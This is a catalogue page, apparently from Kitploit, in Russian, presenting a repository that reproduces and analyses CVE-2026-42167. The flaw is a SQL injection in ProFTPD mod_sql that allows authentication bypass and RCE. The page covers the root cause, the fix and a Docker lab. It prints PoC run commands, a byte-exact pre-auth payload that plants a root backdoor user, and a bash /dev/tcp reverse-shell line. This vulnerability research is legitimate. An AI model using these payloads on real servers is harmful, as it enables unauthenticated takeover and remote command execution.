Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Независимое воспроизведение, анализ первопричины на уровне кода и реалистичное описание экспозиции для CVE-2026-42167 (обход is_escaped_text() в mod_sql ProFTPD).

Репозиторий
31105 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42167 — SQL-инъекция / обход аутентификации / RCE в ProFTPD mod_sql

Независимое воспроизведение, разбор первопричины на уровне кода и откровенный анализ степени подверженности риску для CVE-2026-42167 — обхода is_escaped_text() в конвейере журналирования mod_sql ProFTPD, раскрытого ZeroPath Research и исправленного в ProFTPD 1.3.9a / 1.3.10rc1.

Собрано и проверено от начала до конца в Docker на macOS / Apple Silicon, 2026-04-29.

TL;DR — см. Итог для реалистичной картины степени подверженности риску, прежде чем решать, насколько стоит беспокоиться. Это не ошибка конфигурации по умолчанию, но опасный шаблон экранирования — это именно тот шаблон, который документация upstream рекомендует использовать, поэтому значительная часть развёртываний mod_sql наследует его.

ПолеЗначение
CVECVE-2026-42167
CWECWE-89 (SQL-инъекция), CWE-78 (инъекция OS-команд — через PG COPY TO PROGRAM)
ЗатронутоProFTPD ≤ 1.3.9 с mod_sql + SQLLog/SQLNamedQuery, строка формата которых подставляет управляемую атакующим переменную внутри одинарных кавычек
Исправлено в1.3.9a (af90843ba…) / 1.3.10rc1, см. коммит e6f728481 ("Issue #2052")
Зафиксированный уязвимый коммитae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Уязвимый файлcontrib/mod_sql.c, строки 741–758 (is_escaped_text) и строка 777 (sql_resolved_append_text)
Первичное раскрытиеhttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
Публичный PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Примечания к выпускуhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Первопричина — эвристика is_escaped_text() в contrib/mod_sql.c

mod_sql разрешает переменные строки формата журналирования (%U, %{basename} и т. д.) и добавляет каждый фрагмент в формируемый SQL через sql_resolved_append_text(). Для сохранения обратной совместимости с конфигурациями администраторов, которые уже оборачивают переменные в '…', функция вызывает is_escaped_text(), чтобы решить, нужен ли sql_escapestring:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

Проверка является чисто структурной — она не может отличить *«уже экранировано доверенным кодом»* от *«создано атакующим так, чтобы выглядеть уже экранированным»*.
Любое значение, предоставленное клиентом и совпадающее с `'<no-internal-quotes>'`, пропускает
`sql_escapestring` и конкатенируется в исходном виде в итоговый запрос.

Стандартная, документированная конфигурация оборачивает `%U` / `%{basename}` / `%m` в одинарные
кавычки:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Когда атакующий отправляет USER '<payload>' (открывающая и закрывающая кавычки, без внутренних кавычек), резолвер подставляет %U без экранирования, создавая ''<payload>'' в SQL — литералы пустых строк закрывают окружающие кавычки, а <payload> выполняется как сырой SQL. В PostgreSQL (PQexec) и SQLite (sqlite3_exec) поддерживаются составные запросы, поэтому <payload> может быть любой последовательностью операторов.

Поскольку SQLLog ERR_* срабатывает при неудачных входах, а %U задаётся из USER до аутентификации, атака полностью не требует аутентификации.

Исправление (коммит e6f728481, "Issue #2052")

sql_resolved_append_text() получает параметр already_escaped. Вызывающие функции, которые резолвят значения из клиентского ввода, передают FALSE и теперь проходят через sql_escapestring безусловно — эвристика is_escaped_text() по-прежнему применяется для легитимного пути "конфиг содержит предварительно экранированное значение", но больше не применяется к данным, контролируемым атакующим.


2. Лабораторная среда```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- Оба контейнера поднимаются через `setup/docker-compose.yml`.
- `setup/proftpd.conf` включает уязвимую конфигурацию журналирования (см. §1).
- `setup/seed.sql` создаёт `users`, `groups`, `activity_log`, `xfer_log`
  и `secrets`, а также одного легитимного FTP-пользователя `ftpuser / ftppass`.

---

## 3. Воспроизведение — копировать и вставить

Предварительные требования: Docker Desktop, Python 3.10+, git. (`uv` необязателен;
PoC используют только стандартную библиотеку.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Два интерактивных варианта в вышестоящем репозитории (preauth_user_rce.py, postauth_stor_rce.py) не изменены и открывают обратную оболочку на базе PTY. Они используют тот же примитив, что и вариант с маркером — просто замените команду оболочки на bash -i >& /dev/tcp/<host>/<port> 0>&1 и сначала прослушивайте порт <port>.


4. Полезные нагрузки, байт в байт

Бэкдор до аутентификации (команда USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

Почему это работает:
Скачать инструмент